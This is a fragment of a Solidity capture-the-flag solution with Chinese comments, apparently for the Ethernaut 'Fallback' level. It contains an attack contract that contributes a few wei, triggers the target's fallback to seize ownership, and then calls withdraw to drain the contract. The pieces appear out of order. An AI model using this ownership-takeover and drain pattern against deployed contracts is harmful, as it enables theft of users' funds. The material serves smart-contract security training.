function getContribution() public view returns (uint) { return contributions[msg.sender]; }
function withdraw() public onlyOwner { //console是我自己加的,原题没有,只是为了方便调试,对题目没任何影响 console.log("(withdraw)msg.sender is:",msg.sender); payable(owner).transfer(address(this).balance); }
// SPDX-License-Identifier: MIT import "hardhat/console.sol";//为了在控制台打印输出 pragma solidity ^0.8.0;
contract FallbackAttack{ address payable public _fallback;//用来存放题目的地址
constructor(address payable _address) payable public { _fallback = _address;//题目地址传入 }
function attack1() public payable { //msg.value设置为10Wei _fallback.call{value: msg.value}(abi.encodeWithSignature("contribute()")); } function attack2() public payable { //msg.value设置为1Wei _fallback.call{value: 1}(""); }
function attack3() public payable { //打印调试 console.log("(attack4)msg.sender is:",msg.sender); //提款 _fallback.call(abi.encodeWithSignature("withdraw()")); }